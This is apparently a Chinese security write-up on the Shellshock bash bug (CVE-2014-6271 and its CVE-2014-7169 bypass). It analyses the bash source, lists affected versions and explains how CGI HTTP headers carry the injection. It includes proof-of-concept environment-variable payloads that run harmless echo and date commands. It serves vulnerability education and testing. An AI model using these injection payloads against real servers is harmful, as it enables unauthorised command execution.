目录
. 漏洞的起因
. 漏洞原理分析
. 漏洞的影响范围
. 漏洞的利用场景
. 漏洞的POC、测试方法
. 漏洞的修复Patch情况
. 如何避免此类漏洞继续出现
1. 漏洞的起因
为了理解这个漏洞,我们需要先理解两个基本概念
0x1: Bash的环境变量
. 只能在当前shell中使用的"局部变量"
var="hello world"
echo $var . 在子进程中也可以使用的"全局变量"
export var="hello world"
echo $var
bash
echo $var
0x2: Bash的函数
. 定义一个只能在当前shell使用的函数
foo(){ echo "hello world"; }
foo . 定义一个可以在子进程中使用的"全局函数"
foo(){ echo "hello world"; }
foo
export -f foo
bash
foo
从这里我们可以看出,Bash在对待函数和对待变量都是一样的,根本来说都是变量,而Bash判断一个环境变量是不是一个函数,就看它的值是否以"()"
0x3: 对环境变量进行了代码执行
. 黑客定义了这样的环境变量( 注:() 和 { 间的空格不能少)
export A='() { echo "hello world"; }; echo "2333";' . env一下,你会看到X已经在了
env | grep A . 在当前的bash shell进程下产生一个bash的子进程时,新的子进程会读取父进程的所有export的环境变量,并复制到自己的进程空间中,同时予以执行
bash . 函数体外面的代码被默认地执行了
aaarticlea/png;base64,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" alt="" />
事实上,我们并不需要创建另一个bash子进程,我们可以使用bash -c的参数来执行一个bash子进程命令
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
0x4: AfterShock – CVE-2014-7169 Bypass POC 分析
env X='() { (a)=>\' sh -c "echo date"; cat echo
对这个bypass我们可以这样理解
. X='() { (a)=>\’
定义一个X的环境变量。但是,这个函数不完整,\’不是为了单引号的转义,而是换行符的意思 . X这个变量的值就是 () { (a)=>\
其中的 (a)=这个东西目的就是为了让bash的解释器出错(语法错误),类似SQL注入中的Error Based Injection
语法出错后,在缓冲区中就会只剩下了 ">\"这两个字符。 . bash会把后面的命令echo date换个行放到这个缓冲区中,然后执行
相当于在shell 下执行了下面这个命令:
$ >\
echo date . >echo date就是一个重定向,上述的命令相当于:
date > echo . 当前目录下会出现一个echo的文件
这个文件的内容就是date命令的输出
Relevant Link:
http://coolshell.cn/articles/11973.html
http://ss64.com/bash/env.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
http://seclists.org/oss-sec/2014/q3/651
https://access.redhat.com/node/1200223
http://seclists.org/oss-sec/2014/q3/650
https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271
2. 漏洞原理分析
这次的Bash漏洞从本质上属于"代码注入(code inject)",我们可以将SQL注入和本次的Bash漏洞进行一个横向对比
. 都存在明显的"数据"、"指令"的分界线
. 数据和指令都允许用户通过"参数"的形式进行拼接
. 对用户的输入数据都没有进行严格的过滤、转义、边界检查就直接带入敏感函数
. 对报错逻辑、执行结果没有进行有效的控制,直接回显给用户
我们已经知道,真正导致命令任意执行的原因是"Code Injection",即代码注入,这是Stephone的原话
Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.
接下来,我们以bash-3.2版本的源代码为例进行分析
http://download.chinaunix.net/download.php?id=24862&ResourceID=7
\bash-3.2\builtins\evalstring.c
...
if (interactive_shell == && read_but_dont_execute)
{
last_result = EXECUTION_SUCCESS;
dispose_command (global_command);
global_command = (COMMAND *)NULL;
}
else if (command = global_command)
{
struct fd_bitmap *bitmap; /*
这里没有对传入的command进行正确的边界检查,引入了代码注入的可能性
*/ bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
begin_unwind_frame ("pe_dispose");
add_unwind_protect (dispose_fd_bitmap, bitmap);
add_unwind_protect (dispose_command, command); /* XXX */ global_command = (COMMAND *)NULL;
...
\bash-3.2\variables.c
这个文件负责对bash中的变量进行解析,我们在ENV中进行的临时环境变量设置,将在这个文件中完成
/*
Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from
ENV
or
parse $SHELLOPTS.
*/
void initialize_shell_variables (env, privmode) char **env; int privmode;
{
...
create_variable_tables (); /*
从ENV环境变量中获取参数
*/
for (string_index = ; string = env[string_index++]; )
{
char_index = ;
name = string;
while ((c = *string++) && c != '=') ;
if (string[-] == '=')
char_index = string - name - ; /* If there are weird things in the environment, like `=xxx' or a
string without an `=', just skip them. */
if (char_index == )
continue; /* ASSERT(name[char_index] == '=') */
name[char_index] = '\0';
/*
Now, name = env variable name, string = env variable value, and char_index == strlen (name)
*/ /*
If exported function, define it now. Don't import functions from the environment in privileged mode.
解析环境变量设置中的函数定义
*/
if (privmode == && read_but_dont_execute == && STREQN ("() {", string, ))
{
string_length = strlen (string);
temp_string = (char *)xmalloc ( + string_length + char_index); strcpy (temp_string, name);
temp_string[char_index] = ' '; strcpy (temp_string + char_index + , string); /*
这句是关键,initialize_shell_variables对环境变量中的代码进行了执行,由于它错误的信任的外部发送的数据,形成了和SQL注入类似的场景,这句代码和PHP中的eval是类似的,黑客只要满足2个条件
1. 控制发送的参数,并在其中拼接payload
2. 黑客发送的包含payload的参数会被无条件的执行,而执行方不进行任何的边界检查 这就是典型的数据和代码没有进行正确区分导致的漏洞
*/
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST); // Ancient backwards compatibility. Old versions of bash exported functions like name()=() {...}
if (name[char_index - ] == ')' && name[char_index - ] == '(')
name[char_index - ] = '\0'; if (temp_var = find_function (name))
{
VSETATTR (temp_var, (att_exported|att_imported));
array_needs_making = ;
}
else
report_error (_("error importing function definition for `%s'"), name); /* ( */
if (name[char_index - ] == ')' && name[char_index - ] == '\0')
name[char_index - ] = '('; /* ) */
}
}
}
从这个角度来看,这种漏洞应该采用防御SQL注入的思路来进行,对漏洞原理进行一下总结
. bash(本地、ssh、cgi)允许使用ENV进行path临时设置
. 黑客通过自定义函数,并导出到变量中
. BASH对环境变量的设置是通过"代码执行(EVAl)"完成的,即把ENV的参数当成code来执行,这在正常情况下是没有问题的
. 问题的关键是BASH没有对传入的参数进行正确的边界检查,导致数据和代码的混杂,产生了和PHP EVAL Code InJection类似的漏洞
env x='() { :;}; echo vulnerable'
. 代码注入的关键点在
; echo vulnerable
Relevant Link:
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
http://sourcecodebrowser.com/bash/4.0/evalstring_8c.html
3. 漏洞的影响范围
0x1: 存在源代码漏洞的Bash版本
这个漏洞属于代码级漏洞,所以漏洞的影响范围和Bash的源代码版本有关
bash-4.2.-.el7_0.
bash-4.1.-.el6_5.
bash-4.1.-.el6_5..sjis.
bash-4.1.-.el6_2.
bash-4.1.-.el6_4.
bash-3.2-.el5.
bash-3.2-.el5_11..sjis.
bash-3.2-.el5_6.
bash-3.2-.el5_9.
bash-3.0-.el4.
0x2: Bash漏洞影响到的上层依赖程序(辐射现象)
对这个漏洞我们需要进行客观的评估,并不能认为只要是依赖了Bash就一定是"通杀",真正存在Bash漏洞并能够被黑客利用的漏洞存在于那些"无脑接收"远程用户发送的、并且"本地依赖Bash的程序还会将这个参数传入环境变量设置函数中",同时满足这个条件,这个Bash才能真正称之为一个可转为攻击向量的漏洞
. SSHD会基于ForceCommand配置,这个漏洞可以绕过限制去执行任何命令
http://seclists.org/oss-sec/2014/q3/651 . Git和Subversion部署环境下的同样会对shell进行限制,但同样也存在同样的问题 . 基于漏洞的僵尸网络
http://www.freebuf.com/news/45281.html . Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里会受到影响 . 子Shell中使用C的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用open/system的情况都会受此漏洞影响 . DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用 . 守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也会受到影响 . Cisco设备
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
4. 漏洞的利用场景
0x1: 攻击的场景
我们在第2小结分析了Bash的环境变量解析存在的漏洞,但是正如Redhat官网的issue所说的,bash的这个漏洞只能算是本机任意指令执行漏洞,还不能算是远程代码执行,要达到远程代码执行,还需要其他方式的配合,我们来梳理一下思路,要发动这个攻击,需要满足以下几个条件
. 必须存在对BASH的调用:因为只有Bash存在这个环境变量解析漏洞
) 可以是本地交互的SHELL(就是poc的代码所证实的场景)
) WEB接口对Bash的调用接口(例如 Bash CGI 即xxx.sh) . 我们要能够控制Bash执行的环境变量
) 因为这个代码的注入点是在Bash的环境变量的设置中的
官方给出的ENV的那个poc,是了更好地解释这个原理 . 接口会将我们传入的包含payload code参数带入环境变量中 . 接口要能够将我们注入的代码执行结果返回回来
) 这才能完成一个完整的代码注入流程
0x2: 攻击发动向量
根据这些先决条件,我们可以得到一些攻击向量,我们这个时候发现,Bash CGI(xxx.sh)正好满足以上的这几个条件
. Linuc WEB Server提供的CGIL接口允许我们通过远程HTTP方式进行Bash调用
. 客户端可以任意修改发送的HTTP头部的字段参数
. Bash CGI会将客户端发送的HTTP数据包的HTTP头部的字段作为ENV的参数传入环境变量的设置函数中,也就是说,Bash CGI默认将HTTP头部参数作为环境变量设置源
/*
最终变成这样
HTTP_USER_AGENT() {
:;
};
*/
. 当我们的Code Inject Payload被传入Bash的环境设置函数之后,注入的代码被成功解析执行,代码执行的结继续以"环境变量"的形式保存在环境变量中
. Bash CGI会返回的HTTP数据包中会将环境变量一并发送回客户端
//整个流程构成了一次完整的代码注入攻击
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAkgAAAQyCAIAAADcFZdlAAAgAElEQVR4nOy965Mb133nfV76z8m+MAsHb1T74nltvUnVk1SlJA66u+pZ725Uz27krFUVJlsVRRwCaDguUVsrx4ppS9rIXHIwnW5ba9OyTFqkSUoMZzgAiDZFMQotURdqRA7nhgGwL/p2+vTpGy6ncfl+6lcJicGlZzjuj36Xcw4ZAgAAAAsE2dnvvXnxDgKBQCAQCxAPtnfJhY37/+kHl//hF7fF8cvb37e2/kT/1T/88nZidJ344fTjtQtTj3/MEr/KEnZc/GhS8U5snCkifuzHr7PE76XFT5Lj3SLj9Vzxm1xxZyLxxphxcVpR+D0UITnUVy59z9xKeMILb1x/8+IdcmHj/uraxmdf7fnxuR/be59v73U+/mrl5YvOn0Wx78QXCfE1H1+OFA8fJcRBXHzlx+P02M4SO3x8LYjDuHjkx5Mc8Tgau7GxE0QvPfbceDJ27PqxnyWOUmPPj4OxYj8hDnNF34mDLNFLj8NccZQevSAGOaIfG0djxsCNflIMc8TQjQFiKeOFN65v3HuY8ARHbyGxcUpLExuUJkNpc2E1KA1Kg9U